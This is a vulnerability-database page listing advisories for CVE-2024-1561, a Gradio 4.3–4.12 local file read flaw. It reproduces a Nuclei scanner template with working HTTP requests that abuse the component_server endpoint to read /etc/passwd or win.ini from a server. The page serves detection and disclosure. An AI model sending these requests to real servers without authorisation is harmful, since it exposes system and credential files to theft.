| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Exploit for Path Traversal in Gradio_Project Gradio | 12 May 202419:55 | – | githubexploit | |
| Exploit for Path Traversal in Gradio_Project Gradio | 11 May 202413:44 | – | githubexploit | |
| CVE-2024-1561 | 11 May 202413:48 | – | circl | |
| Gradio 安全漏洞 | 15 Apr 202400:00 | – | cnnvd | |
| CVE-2024-1561 | 16 Apr 202400:00 | – | cve | |
| CVE-2024-1561 Arbitrary Local File Read via Component Method Invocation in gradio-app/gradio | 16 Apr 202400:00 | – | cvelist | |
| gradio vulnerable to Path Traversal | 16 Apr 202400:30 | – | github | |
| Gradio < 4.13.0 Local File Access | 10 Jan 202500:00 | – | nessus | |
| Gradio 4.3 < 4.13 Local File Read | 3 Sep 202400:00 | – | nessus | |
| CVE-2024-1561 | 16 Apr 202400:15 | – | nvd |
id: CVE-2024-1561
info:
name: Gradio 4.3-4.12 - Local File Read
author: nvn1729,Diablo
severity: high
description: |
Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12
impact: |
Successful exploitation of this vulnerability could allow an attacker to read files on the server
remediation: |
Update to Gradio 4.13.0
reference:
- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
- https://github.com/DiabloHTB/CVE-2024-1561
- https://nvd.nist.gov/vuln/detail/CVE-2024-1561
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
- https://www.gradio.app/changelog#4-13-0
- https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-1561
cwe-id: CWE-29
epss-score: 0.09239
epss-percentile: 0.9472
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: html:"__gradio_mode__"
product: gradio
vendor: gradio_project
tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr,vkev,vuln
http:
- raw:
- |
POST /component_server HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"component_id": "1", "data": "{{path}}", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}
- |
GET /file={{download_path}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: download_path
internal: true
group: 1
regex:
- "\"?([^\"]+)"
payloads:
path:
- c:\\windows\\win.ini
- /etc/passwd
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: word
part: content_type
words:
- "text/plain"
- type: status
status:
- 200
# digest: 4a0a004730450221008cbb5a548f0b7882a2caedbf5c39352576b823d0340ee5613ab57dbf5dbb5129022046765e40c62ed2c6e9041f0b48672a0bb051491ec5ac7c11819853adbb859927:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation